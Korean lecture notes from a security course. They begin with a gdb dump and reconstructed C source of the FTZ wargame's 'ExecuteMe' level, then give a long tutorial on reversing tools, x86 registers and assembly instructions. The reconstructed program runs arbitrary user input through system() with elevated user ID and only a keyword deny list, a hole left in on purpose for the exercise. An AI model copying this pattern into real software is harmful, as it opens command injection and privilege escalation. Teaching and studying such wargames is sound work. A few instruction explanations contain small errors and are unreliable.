0x080485a8 <main+288>:  sub    $0xc,%esp
0x080485ab <main+291>:  lea    0xffffffd8(%ebp),%eax
0x080485ae <main+294>:  push   %eax
0x080485af <main+295>:  call   0x8048358 <system>
0x080485b4 <main+300>:  add    $0x10,%esp
0x080485b7 <main+303>:  leave
0x080485b8 <main+304>:  ret
0x080485b9 <main+305>:  nop
0x080485ba <main+306>:  nop
---Type <return> to continue, or q <return> to quit---
0x080485bb <main+307>:  nop
End of assembler dump.
(gdb) x/s 0x8048680
0x8048680 <_IO_stdin_used+28>:   "/usr/bin/clear"
(gdb) x/s 0x804868f
0x804868f <_IO_stdin_used+43>:   "/home/level2"
(gdb) x/s 0x80486e0
0x80486e0 <_IO_stdin_used+124>:  "\t\t한가지 실행시켜 드리겠습니다.\n"
(gdb) x/s 0x8048720
0x8048720 <_IO_stdin_used+188>:  "\t\t(단, my-pass 와 chmod는 제외)\n"
(gdb) x/s 0x8048760
0x8048760 <_IO_stdin_used+252>:  "\n\t\t어떤 명령을 실행시키겠습니까?\n"
(gdb) x/s 0x8048782
0x8048782 <_IO_stdin_used+286>:  "\n\n\t\t[level2@ftz level2]$ "
(gdb) x/s 0x8049948
0x8049948 <stdin@@GLIBC_2.0>:    ""
(gdb) x/s 0x804879c
0x804879c <_IO_stdin_used+312>:  "my-pass"
(gdb) x/s 0x80487c0
0x80487c0 <_IO_stdin_used+348>:  "\n\t\tmy-pass 명령은 사용할 수 없습니다.\n\n"
(gdb) x/s 0x80487e8
0x80487e8 <_IO_stdin_used+388>:  "chmod"
(gdb) x/s 0x8048800
0x8048800 <_IO_stdin_used+412>:  "\n\t\tchmod 명령은 사용할 수 없습니다.\n\n"
(gdb) x/s 0x8048826
0x8048826 <_IO_stdin_used+450>:  "\n\n"
(gdb) quit


■ 분석한 내용을 바탕으로 의사 코드로 복원해 보면 다음과 같다.
# vi ExecuteMe.c

#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <stdlib.h>

int main(void)
{

        char input[29];
        char denyMyPass[] = "my-pass";
        char denyChmod[] = "chmod";

        system("/usr/bin/clear");
        chdir("/home/level2");
        printf("\n\n\n\t\t레벨2의 권한으로 당신이 원하는 명령어를\n");
        printf("\t\t한가지 실행시켜 드리겠습니다.\n");
        printf("\t\t(단, my-pass와 chmod는 제외)\n");
        printf("\t\t\t어떤 명령을 실행시키겠습니까?\n");
        printf("\n\n\t\t[level2@ftz level2]$ ");

        fgets(input, sizeof(input), stdin);

        if(strstr(input, denyMyPass) != NULL )
        {
                        printf("\n\tmy-pass 명령은 사용할 수 없습니다.\n\n");
                        exit(0);
        }

        if(strstr(input, denyChmod) != NULL )
        {
                        printf("\n\t\tchmod 명령은 사용할 수 없습니다.\n\n");
                        exit(0);
        }
        printf("\n\n");

        setreuid(3002,3002);
        system(input);
}

-> 프로그램을 해석해 보자.
-> [참고] Remote Shell/Web Shell은 무엇인가?
    -> C언어의 system() 함수는 시스템에 명령을 실행할 때 사용하는 함수이다.
    -> Java , PHP, Perl, Python 등 대부분의 언어에도 비슷한 함수가 존재한다.

의사코드에서 알수 있는 정보
● ExecuteMe 프로그램 실행시 프롬프트는 printf 함수로 만들어 진것이다.
● system() 함수를 통해 stdin 입력된 명령어를 수행한다.








C:\Users\soldeskN\Desktop\JS\Security과정공유디렉토리\04_과정진행\04_정규과정\05_리버싱\어셈블리소개.hwp




어셈블리(Assembly) 언어





1. 리버스 엔지니어링

(1) 리버스 엔지니어링(Reverse Engineering, Reversing)이란?

리버스 엔지니어링(Reverse Engineering)은 인조물로 부터 청사진을 얻는 것에서 유래되었다. 이진 코드로 되어 있

는 실행 파일을 분석하려는 일련의 행위이다. 소프트웨어를 분석하고 동작을 해명해나가는 것을 리버스 엔지니어링

이라 부른다. 이것은 멀웨어에 한정하지 않고 일반적인 소프트웨어를 분석하는 것을 말하기 때문에, 컴퓨터 보안과

관계가 없는 곳에서도 사용된다.


(2) 리버스 엔지니어링의 종류
보안적 관점
● 소프트웨어를 개발 후 개발된 제품에 대해 암호화 알고리즘과 관련된 보안의 평가
● 해커들이 운영체제/애플리케이션의 취약점을 분석 후 바이러스 또는 악성코드를 제작하는데 사용
● 백신업체에서 바이러스 또는 악성코드를 분석 후 백신을 만들기 위해 사용
● 소프트웨어에서 사용된 암호화 알고리즘을 분석하기 위해 사용

개발적 관점
● 소프트웨어 개발시 필요한 지식을 습득하기 위해 다른 소프트웨어를 분석하는데 사용


(3) 법률적 제제
● 개인적인 필요에 의해서 프로그램을 수정하거나 변경할 수 있음.
● 제 3자에게 정보를 제공하거나 유사 프로그램을 제작, 배포하는 행위는 위법


(4) 리버싱 분석 방법의 종류
정적 분석과 동적 분석
소프트웨어를 분석하는 방법에는 크게 정적 분석과 동적 분석으로 나눈다.
● 정적분석: 대상 프로그램을 실행하지 않고 분석하는 방법이다. => 전체적으로 넓게 분석시 사용
● 동적분석: 대상 프로그램을 실행하며 분석하는 방법이다. => 일부분을 집중적으로 분석시 사용


(5) 리버싱 관련 프로그램
리버싱 과정을 진행할 때 필수적으로 필요한 프로그램은
● 바이너리 에디터            --------> Stirling, BZ Editor
● 계산기                     --------> 보조프로그램 > 계산기
● 디스어셈블러(Disassembler) ----+---> OllyDbg/IDA/Immunity Debugger/WinDbg
● 디버거(Debugger)           ----+
등이다.


■ 디스어셈블러(Disassembler)
● 디스어셈블러(Disassembler)는 기계어 0과 1을 어셈블리 코드로 변환하는 툴이다.


■ 디버거(Debuggers)
● 프로그램을 실행모드에서 분석
● Disassembler의 기능을 포함하고, 프로그램을 진행시켜가며 하나씩 분석하는 것- User Mode(일반 응용 프로그램

용)     OllyDbg, IDA pro, Immunity Debugger- Kernel Mode(하드웨어 관련 프로그램용)     WinDbg, SoftICE




■ 각 디버거의 특징(윈도우에서 동작하는 대표적인 디버깅 프로그램)
● OllyDbg- 가장 일반적으로 사용되는 User Mode Debugger로 GUI 환경 지원- win32API를 가장 잘 표현- 다운로드 :

http://www.ollydbg.de
● IDA Pro- MFC로 만들어진 프로그램에서 주로 사용- 지원 플랫폼(IA-32, IA64, AMD64등)- 파일포맷(PE(Windows),

ELF(Linux), XBE(X-Box)- Runtime/MFC로 만든 프로그램에서 주로 사용- 다운로드: http://www.hex-

rays.com/products/ida/support/download.shtml
● Immunity Debugger- python과 친화성이 높으며 만약, pythonista라면 immunity debugger를 선택하는 것도 좋은

방법이다.- 다운로드 : http://www.immunitysec.com/products-immdbg.shtml
● WinDbg- 운영체제를 개발하는 사람이 주로 사용- Device Driver 및 User Mode Native Application에서도 막강한

기능 사용- 다중 프로세스 디버깅- 커널랜드(Kernel Land)에서 동작하는 프로그램이다. 따라서, 커널에서 동작하는

멀웨어를 분석하는 경우에는 필수적이다.- 다운로드: http://msdn.microsoft.com/ko-kr/windows/hardware/hh852365


(6) 대표적인 리버스 엔지니어링 기술력을 경쟁하는 대회

세계에는 정부 시책 및 커뮤티니 이벤트의 일환으로 정보보안 기술의 향상을 추진하는 나라가 있다. CTF(Capture

the Flag)를 시작으로, 리버스 엔지니어링 기술력을 경쟁하는 대회도 개최되고 있다.

● (일본) SECCON CTF http://www.seccon.jp
● (미국) DEFCON CTFhttp://www.defcon.org/html/defcon-20/dc-20-ctf.html
● (한국) CODEGATEhttp://www.codegate.org

최근에는 그 수요가 늘어나 세계 각지에서 보안 콘테스트가 열리고 있다. 대부분은 예선을 온라인으로 치르고, 상위

10~20위 팀 정도가 결승전에 참가 자격을 얻는다.
2. 어셈블리어(Assembley Language)

(1) 용어

    CPU  <-------> MEMORY  <-------> DISK
              한글 프로세스     한글.exe

● CPU(Central Processing Unit)
● MEMORY
● Register


(2) CPU 기본 구조(80x86)


■ 연산장치(ALU: Arithmetic and Logic Unit)는 CPU(중앙  처리 장치)의 핵심 부분 중 하나로, 산술과 논리 연산을

수행하는 연산 회로 집합으로 구성

■ 제어장치(Control Unit)는 입력, 출력, 기억, 연산 장치를 제어하고 감시, 주기억 장치에 저장된 명령을 차례로

해독하여 연산 장치로 보내 처리되도록 지시

■ 레지스터(Register)는 처리중인 데이터나 처리 결과를 임시 보관하는 CPU 내의 기억 장치

한빛 미디어, IT CookBook, 정보 보안 개론과 실습: 시스템 해킹과 보안(개정판)

(3) Memory 기본 구조


■ 스택(Stack)은 LIFO(Last-In First Out) 방식에 의해 정보를 관리. TOP 이라고 불리는 스택의 끝 부분에서 데이

터의 삽입과 삭제가 발생.
■ 힙(Heap)은 프로그램 실행 중 필요한 기억 장소를 할당하기 위해 운영체제에 예약되어 있는 기억 장소 영역.
■ 데이터 세그먼트(Data Segment)는 초기화된 외부 변수나 static 변수 등이 저장되는 영역. 보통 텍스트 세그먼트

(Text Segment)와 데이터 세그먼트(Data Segment) 영역을 합쳐 프로그램이라 한다.
■ BSS 세그먼트는 초기화 되지 않은 데이터 세그먼트(Uninitalized data segment)라고 불리며, 프로그램이 실행될

때 0이나 NULL 포인터로 초기화. 외부 변수나 static 변수중 초기화 되지 않은 변수들이 정의될 때 저장.
■ 텍스트 세그먼트(Text Segment)는 CPU에 의해 실행되는 머신 코드가 있는 영역

한빛 미디어, IT CookBook, 정보 보안 개론과 실습: 시스템 해킹과 보안(개정판)

[참고] CPU/MEM 구조 && 레지스터 참고 문서
-> 반드시 참고하시기 바랍니다.
-> 아래 문서의 내용은 위의 링크 문서를 본 상태에서 보시기 바랍니다.



(4) 레지스터(Register)

어셈블리 언어로 프로그램밍을 하기 위해서는 C/C++ 같은 고급 언어와는 달리 CPU 내부에 있는 레지스터에 대해서

잘 알고 있어야 한다. 레지스터는 CPU가 접근할 수 있는 메모리 주에서 가장 빠르게 동작하는 메모리로 CPU가 여러

가지 연산등의 처리 하는 동안 임시적으로 데이터를 보관하는데 사용된다.

메인 메모리(일반적으로 RAM 이라고도 불린다.)는 바이트 단위의 번지 혹은 주소를 이용해서 접근할 위치를 구분하

는데, 레지스터의 경우는 번지의 개념이 없고 모두 고유한 이름이 부여되어 있다.

(4-1) 레지스터(Register)란?
● 시스템을 제어하는 CPU에 존재하는 메모리
● 실행 중인 명령어를 제어
● 메모리 번지를 지정
● 산술연산을 수행

(4-2) 레지스터의 종류
각각의 고유한 이름이 있고 이름을 통하여 레지스터를 참조
● 세그먼트 레지스터(Segment Register)현재 32, 64비트 컴퓨터에 사용되지 않는다.
● 범용 레지스터(General-Purpose Registers)일반적인 레지스터
● 명령어 포인터 레지스터(Instruction Point Register, IP)다음 실행할 코드의 주소를 담는 레지스터
● 포인터 레지스터(Pointer Register)스택 영역을 표시하기 위한 레지스터
● 인덱스 레지스터(Index Register)문자열의 시작주소나 기타 다른 데이터들을 저장하기 위해 사용되는 레지스터

(4-3) 80x86 CPU 레지스터 종류

■ 범용레지스터(General-Purpose Registers) 32bit만 표시
● EAX(Accumulator, 누산기)어큐물레이터(Accumulator): 모든 연산 명령에 사용되는 레지스터, 산술연산, 입출력,

Translate 명령어, 주로 산술 연산에 사용(함수의 결과값 저장)
● EBX(Base Register, 베이스 레지스터)임의의 번지 지정에 사용되는 어드레스 레지스터, offset, 특정 주소 저장(

주소 지정을 확대하기 위한 인덱스로 사용)
● ECX(Count Register, 카운트 레지스터)스트링 조작 명령이나 반복 루프의 계수기로 사용, 반복적으로 실행되는

특정 명령에 사용(루프의 반복 횟수나 좌우 방향 시프트 비트 수 기억)
● EDX(Data Register, 데이터 레지스터)산술연산, EAX와 함께 자주 사용, 일반 자료 저장(입출력 동작에 사용)

범용레지스터는 EAX, EBX, ECX, EDX 4개의 레지스터로 구성되며, 32비트 크기를 갖는다.
EAX는 누산기로 함수의 리턴값을 기억하는데 사용된다.
EDX는 연산시 Overflow된 결과를 저장하거나 나눗셈 연산시 나머지를 저장하는데 사용된다.


■ 세그먼트 레지스터(Segment Registers)
● CS(Code Segment Register)DOS의 프로그램 코드 세그먼트의 시작 번지 저장, 이 번지에 명령어 포인터(IP) 레지

스터 내의 옵션값을 더하면 실행을 위한 명령어의 번지가 된다. 실행될 기계 명령어가 저장된 메모리 주소 지정.
● DS(Data Segment Register)프로그램의 데이터 세그먼트 레지스터의 시작 번지를 기억, 프로그램에서 정의된 데이

터, 상수, 작업 영역의 메모리 주소 지정.
● SS(Stack Segment Register)번지와 데이터를 임시로 저장할 목적으로 쓰이는 스택을 메모리에 구현, 스택 포인터

레지스터의 오프셋 값을 더하면 스택 내의 현재 워드를 가리키는 번지. 프로그램이 임시로 저장할 필요가 있거나 사

용자의 피호출 서브 루팅이 사용할 데이터와 주소 포함.
● ES(Extra Segment Register)지정하기 위해 본 레지스터를 사용할 때 DI 레지스터와 연관
● FS, GS286이후에 추가된 레지스터로서 보조 세그먼트 레지스터
■ 포인터 레지스터(Pointer Register)
● EBP(Base Pointer)함수의 파라미터나 변수의 위치를 얻어오는데 간접적으로 사용(스택 메모리를 가리킴). 호출된

프로시저(Procedure)를 위한 스택 프레임 내의 고정 Reference point를 나타냄. 저장된 이전의 EBP 값을 SFP(Stack

Function Flame Pointer)라고 함. SS 레지스터와 함께 사용되어 스택 내의 변수 값을 읽는 데 사용.
● ESP(Stak Pointer)스택(stack)의 맨 꼭대기를 가리키는데 사용,그러나 프로그램 안에서 수시로 변경되기 때문에

특정 기준 시점을 잡아 ESP값을 EBP에 저장하여 EBP를 기준으로 변수나 패러미터에 접근. SS 레지스터와 함께 사용

되며, 스택의 가장 끝 주소를 가리킴.
● EIP(Instruction Pointer)현재 수행중인 코드를 가리킴. 다음 명령어의 오프셋(상대 위치 주소)를 저장하며 CS

레지스터와 합쳐져 다음에 수행될 명령의 주소 형성.


■ 플래그 레지스터(Flag Register)
● OF(Overflow Flag)
● DF(Direction Flag)
● SF(Sign Flag)
● ZF(Zero Flag)
● CF(Carry Flag)
● TF(Trap Flag)
● PF(Parity Flag)
● AF(Auxiliary Flag)
● IF(Interrupt Flag)

플래그 레지스터는 CPU 연산 시 발생하는 각 상황에 대한 것들로서 총 32비트로 이루어져 있으며, 이중 16비트만 사



■ 명령어 포인터 레지스터(Instruction Pointer Registers, IP)
● SP(Stack Pointer) -> ESP스택내의 현재 워드를 참조할 오프셋 값을 기억. 80386 이후의 프로세서는 확장 스택

포인터(ESP)
● BP(Base Pointer) -> EBP스택에 들어오고 나가는 데이터나 번지를 참조하는데 사용. 80386 이후의 프로세서는 확

장 스택 포인터(ESP)

스택이란? LIFO(Last Input First Ouput)의 구조를 갖는것으로 여기서는 스택의 기능을 구현한 메모리 영역을 의미

BP란 이 스택의 시작 주소를 의미하며, SP는 현재 Stack에서 진행되고 있는 위치를 의미

■ 인텍스 레지스터(Index Registers)
● SI(Source Index)스트링 조작에 사용, DS 레지스터와 연관 번지의 간접지정에 사용, 특히 스트링 명령에 있어서

는 메모리 부터 레지스터로 데이터를 전송하기 위한 전송 측 번지의 지정
● DI(Destination Index)스트링 조작에 사용, ES 레지스터와 연관 번지의 간접번지에 사용, 특히 스트링 명령에 있

어서는 레지스터로 부터 메모리에 데이터를 전송하기 위한 수신 측 번지를 지정할 때 사용

인덱스 레지스터는 주로 문자열의 시작 주소를 담아서 표현하는데 사용







(5) 어셈블리(Assembly)

(5-1) 용어
■ 기계어
● 종류 : 각 CPU 마다 고유 기계어가 있음
● 모양 : CPU가 바로 해독할 수 있는 0과 1로 구성
● 특징 : 사람이 이해하기 어려움
● 기타 : 컴파일을 할 필요가 없음

■ 어셈블리어
● 종류 : 각 CPU 마다 고유 어셈블리어 존재
● 모양 : 사람이 이해하기 쉽도록 OP-CODE 사용
● 특징 : 기계어와 1:1로 모든 명령이 대응
● 기타 : 어셈블러를 통해 기계어로 컴파일 해야 함

■ 어셈블리(Assembly) 소개

기계어
어셈블리어
고급언어
55
98ES
83EC 08
C70424
57000000
E8 7E050000
C9
C3
PUSH EBP
MOV  EBP,ESP
SUB  ESP,8
MOV  DWORD PTR [ESP],57
CALL <JMP.&msvcrt.putchar>
LEAVE
RETN
void aChar(void)
{
    putchar('W');
}

                           <-------  assemble
                           --------> disassemble
                           <--------------------------------------- compile
                           ---------------------------------------> decompile


(5-2) 어셈블리(Assembly) 구성
● Intel 문법과 AT&T 문법이 있다.
● (윈도우) Intel 문법 사용:  add  (Destination)  (Source)
● (리눅스) AT&T 문법 사용 :  add  (Source)       (Destination)  /* !!! 수업에서 사용 !!! */

    add    eax,   ebx
     |      |      |
          V      V      V
    mnemonic  operand, operand

■ 연상기호(mnemonic, opcode)
● add 는 덧셈을 한다라는 명령을 인간이 알기 쉬운 문자열로 대응시킨 연상기호(Mnemonic)이다.

■ 피연산자(operand)
● 기계 코드의 명령들에 따라 피 연산자의 형태와 개수가 다름
● 각각의 명령들은 고정된 수의 피연산자 수(보통 0~3)를 갖는다.
● 레지스터: 이는 피연산자들은 CPU 레지스터 들에 직접으로 접근
● 메모리: 이는 메모리에 저장된 데이터를 가리킴. 언제나 세그먼트 최상단 부터 오프셋 값으로 나타냄
● 즉시 피연산자(Immediate): 명령 자체에 있는 고정된 값들, 명령자체에 저장, 코드 세그먼트에 저장
● 묵시적 피연산자(Implied): 정확히 나타나지 않는다. 예를 들어 증가명령은 레지스터나 메모리에 1을 더한다. 이

때 1은 묵시적 피연산자로 부른다.


■ 어셈블리 명령어 형식
(ㄱ) opcode                EX) std
(ㄴ) opcode  operand1            EX) push eax
(ㄷ) opcode  operand1, operand2        EX) add  10, eax
(ㄹ) opcode  operand1, operand2, operand3    EX) shld 16, edx, eax





■ 오퍼랜드(operand)의 종류
명령의 대상이 되는 오퍼랜드에는 다음과 같이 3가지 종류가 있다.
● 레지스터, 메모리, 직접값

mov 레지스터, 레지스터    EX) mov  ebx,  eax
mov 레지스터, 메모리    EX) mov  eax,  Value  /* Value : 미리 선언된 메모리 변수명 */
mov 메모리, 레지스터    EX) mov  Value,eax
mov 직접값, 레지스터    EX) mov  eax,  100
mov 직접값, 메모리    EX) mov  100,  Value

(5-3) 명령의 종류(자주 사용되는 어셈블러 명령)

        !!!!  모든 어셈블러 명령을 기억할 필요는 없다  !!!!
        !! 하지만 아래 빨간색으로 표시한 명령은 기억하자 !!

명령의 종류는
    (ㄱ) 산술 연산 명령 종류
    (ㄴ) 데이터 전송 명령 종류
    (ㄷ) 논리 연산 명령 종류
    (ㄹ) 제어 전송 명령 종류
    (ㅁ) 스트링 명령 종류
    (ㅂ) 프로세스 제어 명령 종류
등이 있다.

(5-3-1) 산술연산명령 종류

기본적인 정수를 계산하는 명령의 종류이다.

● add(Add)덧셈명령, 캐리를 포함하지 않는 덧셈을 한다. (예) add    $0x10,%esp        (해석) esp += 10   

/* eax에 10를 가산 */(예) add    ecx,eax        (해석) eax += ecx    /* eax에 ecx를 가산 */
● sub(Subtract)캐리를 포함하지 않는 뺄셈(뺄셈 연산 처리에 사용)(예) sub    $0xc,%esp        (해석) esp

-= 0xc
● inc(Increment)오퍼랜드 값을 1만큼 증가한다.(예) inc eax            (해석) eax++     /* eax에 1을

가산 */
● dec(Decrement)오퍼랜드 값을 1만큼 감소한다.(예) dec eax            (해석) eax--    /* eax에 1을

감산 */
● cmp(Compare)두 오퍼랜드 비교, 두수를 비교하여 같으면 0, 다르면 1 또는 -1을 리턴하는 명령어이다. 두 데이터

를 비교하여 이를 Flag Register의 ZF(Zero Flag)에 같으면 0으로 다르면 1로 세팅한다. 두 오퍼랜드 값이 같다는

것을 비교하는 방법은 오퍼랜드를 뺀값이 0이면 참이고 아니면 거짓이다.(예) cmp ecx,eax        (해석) if

(ecx == eax) ZF=1                               else ZF=0
● mul(Multiply)AX와 오퍼랜드를 곱셈 후 결과를 AX에 저장한다.(곱셈 연산 처리에 사용)
● div(Divide)AX의 내용을 오퍼랜드로 나누어 몫은 AL에 나머지는 EAH, EDX로 저장한다.
● 기타 산술연산 명령ADC (Add with Carry)        : 캐리를 포함한 덧셈을 수행한다.SBB (Subtraction

with Borrow)    : 캐리를 포함한 뺄셈을 수행한다.NEG (Change Sign)        : 피연산자의 2의 보수, 즉 부

호를 반전한다.AAA (ASCII adjust for add)    : 덧셈결과의 AL 값을 UNPACK 10진수로 보정한다.DAA (Decimal

adjust for add)    : 덧셈결과의 AL 값을 PACK 10진수로 보정한다.ASS (ASCII adjust for subtract)    : 뺄셈 결과

의 AL 값을 UNPACK 10진수로 보정한다.DAS (Decimal adjust for subtract): 뺄셈 결과의 AL 값을 PACK 10빈수로 보

정한다.IMUL(Multiply(Unsigned))    : 부호화된 곱셈을 수행한다.AAM (ASCII adjust for Multiply)    : 곱셈 결과

의 AX 값을 UNPACK 10진수로 보정한다.IDIV(Integer Divide(Signed))    : 부호화된 나눗셈AAD (ASCII adjust

for Divide)    : 나눗셈 결과 AX 값을 UNPACK 10진수로 보정한다.CBW (Convert byte to word)    : AL의 바이

트 데이터를 부호 비트를 포함하여 AX 워드로 확장한다.CWD (Convert word to double word): AX의 워드 데이터를 부

호를 포함하여 DX:AX의 더블 워드로 변환한다.

(5-3-2) 데이터 전송 명령 종류

메모리, 범용레지스터, 세그먼트 레지스터로 참조되는 주소에 존재하는 데이터 전송

● mov(Move) : RAM --> CPU(Register) or CPU(Register) --> RAM데이터 이동하는데 사용. RAM 끼리의 연산은 이루

어 지지 않으므로 RAM의 데이터를 레지스터로 옮기거나 레지스터의 데이터를 RAM으로 옮기는 작업을 처리할 때 주로

사용한다.(예) mov    $0x0,%eax        (해석) EAX = 0    /* EAX 값을 0으로 대입한다. */(예) mov    ecx,eax   

    (해석) EAX = ECX    /* ECX 값을 EAX에 저장 */
● push(Push) : --> RAM(stack)오퍼랜드의 내용을 스택에 넣는다. 레지스터의 데이터 임시 보관등에 사용한다.(예)

push   $0x8048680        (해석) Stack에 0x8048680 값을 저장
● pop(Pop) : <-- RAM(Stack)스택으로 부터 값을 빼낸다. 레지스터의 데이터를 복원할 때 주로 사용한다.(예) pop 

 eax            (해석) Stack 값을 EAX에 저장
● lea(Load Effective Address to Register) : RAM(주소의 값) --> CPU(Register)유효주소를 레지스터로

로드(Load). RAM에서 CPU에 있는 레지스터에 데이터를 옮길때 로드(Load)라는 단어를 사용, 반대로 레지스터에서

RAM으로 가는 경우 저장(Store)이라는 표현을 사용한다.* RAM -- Load --> CPU(Register)* RAM <-- Save -- CPU

(Register)(예) lea    0xffffffd8(%ebp),%eax    (해석) RAM(주소(0xffffffd8)의 값)을 eax 저장
● 기타 데이터 전송 명령xchg(Exchange Register Memory with Register): 첫번째 피연산자와 두번째 피연산자를 바

꾼다.IN(Input from AL/AX to Fixed port) : 피연산자로 지시된 포트로 AX에 데이터를 입력한다.OUT(Output from

AL/AX to Fixed port) : 피연산자가 지시한 포트로 AX의 데이터를 출력한다.XLAT(Translate byte to AL) : BX:AL이

지시한 테이블의 내용을 AL로 로드한다.LDS(Load Pointer to DS): LEA 명령과 유사한 방식으로 다른 DS 데이터의 주

소의 내용을 참조시 사용한다.LES(Load Pointer to DS) : LEA 명령과 유사한 방식으로 ES 데이터의 주소의 내용을

참조시 사용한다.LAHF(Load AH with Flags) : 플래그의 내용을 AH의 특정 비트로 로드한다.SAHF(Store AH into

Flags) : AH의 특정 비트를 플래그 레지스터로 전송한다.PUSHF(Push flags) : 플래그 레지스터의 내용을 스택에 삽

입한다.POPF(Pop flags) : 스택에 저장되어 있던 플래그 레지스터 값을 삭제한다.




(5-3-3) 논리연산 명령 종류

연산부호가 논리연산을 지정하는 명령으로 자리옮김, 논리 합(OR), 논리곱(AND), 기호 변환등이 있다.

● and(AND)논리 and 연산, 두수의 곱셈 연산 후 결과를 참과 거짓으로 표현하는 것으로 교집합의 형태와 동일하다.

대응되는 비트가 둘다 1일 때만 결과가 1이고, 그 이외에는 모두 0(예) and  

AX,10h--------------------------------------AX      1     0     0     0        /* if AX 값이 0x08h라면 이진

수로 1000이다. */0x10h   1     0     1     0--------------------------------------결과    1     0     0    

0--------------------------------------
● or(OR)논리 or 연산, 두수의 덧셈 연산 후 결과를 참과 거짓으로 표현하는 것으로 합집합의 형태와 동일하다. 대

응되는 비트 중 하나만 1이어도 결과가 1이고, 둘 다 0인 경우에만 0(예) or  

AX,10h--------------------------------------AX      1     0     0     0        /* if AX 값이 0x08h라면 이진

수로 1000이다. */0x10h   1     0     1     0--------------------------------------결과    1     0     1    

0--------------------------------------
● xor(Exclusive OR)배타적 논리 합(OR) 연산, 두수가 같은 값을 가지면 거짓, 다른 값을 가지면 참을 반환하는 연

산으로 초기화 연산이나 암호화 시에 주로 사용한다. 대응되는 비트 중에서 한 비트가 1이고 다른 비트가 0이면 1,

두개의 비트가 모두 0 또는 1일 때 0, 따라서 두개의 비트가 같으면 0, 다르면 1이다.(예) xor   

AX,10h--------------------------------------AX      1     0     0     0        /* if AX 값이 0x08h라면 이진

수로 1000이다. */0x10h   1     0     1     0--------------------------------------결과    0     0     1    

0--------------------------------------
● not(Invert)오퍼랜드의 1의 보수, 각 비트별 반대의 값으로 변환하여 1의 보수화(예) not   

AX--------------------------------------AX      1     0     0     0        /* if AX 값이 0x08h라면 이진

수로 1000이다. */--------------------------------------결과    0     1     1     1

--------------------------------------
● test(And Function to Flags, no result)첫번째 오퍼랜드와 두번째 오퍼랜드를 and 하여 그 결과로 플래그 세트,

and 연산과 같으나 연산 결과를 저장하지 않고 그 결과를 Flag Register에 저장한다. 데이터 두 값을 비교할 때 사

용한다. 데이터의 변경 없이 단순 비교에 사용된다.(예) test   %eax,%eax        (해석) if(eax == 0) ZF=1   

                   else         ZF=0
● ror(Rotate Right)오른쪽으로 오퍼랜드만큼 회전 이동(오른쪽으로 Rotation 시키는 연산)
● rol(Rotate Left)왼쪽으로 오퍼랜드 만큼 회전 이동(왼쪽으로 Rotation 시키는 연산)
● 기타 논리연산 명령SHL/SAL(Shift Left/Arithmetic Left) : 왼쪽으로 피연산자만큼 자리 이동SHR/SAR(Shift

Right/Shift Arithmethic Right) : 오른쪽으로 피연산자만큼 자이 이동RCL(Rotate through carry left):

자리올림(Carry)을 포함하여 왼쪽으로 피연산자 만큼 회전 이동RCR(Rotate through carry Right): 자리올림(Carry)

을 포함하여 오른쪽으로 연산자만큼 회전이동




(5-3-4) 제어 전송 명령 종류

점프(분기, Jump), 조건 점프(조건 분기, Conditional jump), 루프(Loop), 호출(Call)과 리턴(Return) 연산등으로

프로그램의 흐름 제어

● JMP(Unconditional Jump)프로그램을 실행할 주소 또는 라벨로 이동한다.(예) jmp 04001000        (해석) if(무

조건) 04001000 번지로 jump
● JE(Jump Equal)/JZ(Jump Zero)(점프조건) ZF == 1(예) je 04001000        (해석) if(ZF == 1) 04001000

번지로 jump
● JNE(Jump not equal)/JNZ(Jump not zero)(점프조건) ZF == 0(예) jne 04001000        (해석) if(ZF == 0)

04001000 번지로 jump
● call(Call)함수(프로시저) 호출시 사용된다. PUSH(EIP) + JMP(jump)의 두가지 기능을 하는 것으로 함수 호출시

그 함수의 복귀 주소를 push로 stack에 저장 시키며 jmp를 이용하여 그 함수로 이동한다.(예) call   0x80483a8

<printf>    (해석) 0x80483a8 번지의 printf() 호출(push + jump)
● ret(Return)함수에서 호출(call)한 위치로 돌아갈때 사용한다. POP(EIP) + JMP(jump)의 두가지 기능을 하는 것으

로 함수 지역으로 복귀한다.
● 기타 제어 전송 명령JC(carry flag set) JNC(not carry flag set)JA/JNBE(above/not below nor equal)JAE/JNB

(above or equal/not below)JB/JNAE(below/not above nor equal)JL/JNGE(less/not greater nor equal)JBE/JNA(below

or equal/not above)JGE/JNL(greater or equal/not less)JLE/JNG(less or equal/not greater)JNP/JPO(not

parity/parity odd)JNS(not sign)JO(overflow)JP/JPE(partity/parity even)JS(sign)JCXZ(CX zero)INT(interrupt) :

인터럽트가 호출되면 CS:IP(code segment:instruction pointer)와 플래그를 스택에 저장, 그 인터럽트에 관련된 서

브 루팅이 실행LOOP(loop CX times) : 문장들의 블록을 지정된 횟수만큼 반복한다. CX는 자동적으로 카운터로 사용

되며, 루프가 반복할 때 마다 감소한다.

* above, below  : 부호 없는 두 수의 크기 관계
* greater, less : 부호 있는 두 수의 크기 관계

(5-3-5) 스트링(Strings) 명령 종류

바이트로 구성된 스트링(Strings of bytes)을 메모리 내에서 전송

● 데이터 전송 명령REP(Repeat) : ADD나 MOVS와 같은 작동 코드의 앞에 위치, CX가 0이 될 때까지 뒤에 오는 스트

링 명령 반복MOVS(Move String) : 바이트, 워드, 더블워드를 옮기는 명령. MOVSB, MOVSW, MOVSD 등이 있다. CMPS

(Compare String) : DS:SI와 ES:DI의 내용을 비교한 결과에 따라 플래그를 설정한다.SCAS(Scan String) : AL 또는

AX와 ES:DI가 지시한 메모리 내용을 비교한 결과에 따라 플래그를 설정한다.LODS(Load String) : SI 내용을 AL 또는

AX로 로드한다.STOS(Store String) : AL 또는 AX를 ES:DI가 지시하는 메모리에 저장한다.




(5-3-6) 프로세스 제어 명령 종류

● CLC(claer carry)CMC(Complement Carry)CLD(Clear Direction)CLI(Clear Interrupt)STD(Set Direction)STI(Set

Interrupt)WAIT(wait)ESC(Escape to External device)








(8) 예제 어셈블리

(HackMe)
● level1 사용자로 로그인하여 다음과 같은 코드를 작성하고 테스트한다.

[EX] sample.c (C 언어 작성) --- 변환 --> sample.a (어셈블리어)

$ cd
$ cd tmp
$ vi sample.c

int function(int a, int b)
{
    char buffer[10];
    a = a + b;
    return a;
}

int main(void)
{
    int c;
    c = function(1,2);
    return 0;
}


$ gcc -S -o sample.a sample.c
$ ls -l

-rw-rw-r--    1 level1   level1        570 11월 25 12:17 sample.a
-rw-rw-r--    1 level1   level1        131 11월 25 12:16 sample.c


$ file *

sample.a:    ASCII assembler program text
sample.c:    ASCII C program text


$ vi sample.a

        .file   "sample.c"
        .text
.globl function
        .type   function,@function
function:
        pushl   %ebp
        movl    %esp, %ebp
        subl    $24, %esp
        movl    12(%ebp), %eax
        addl    %eax, 8(%ebp)
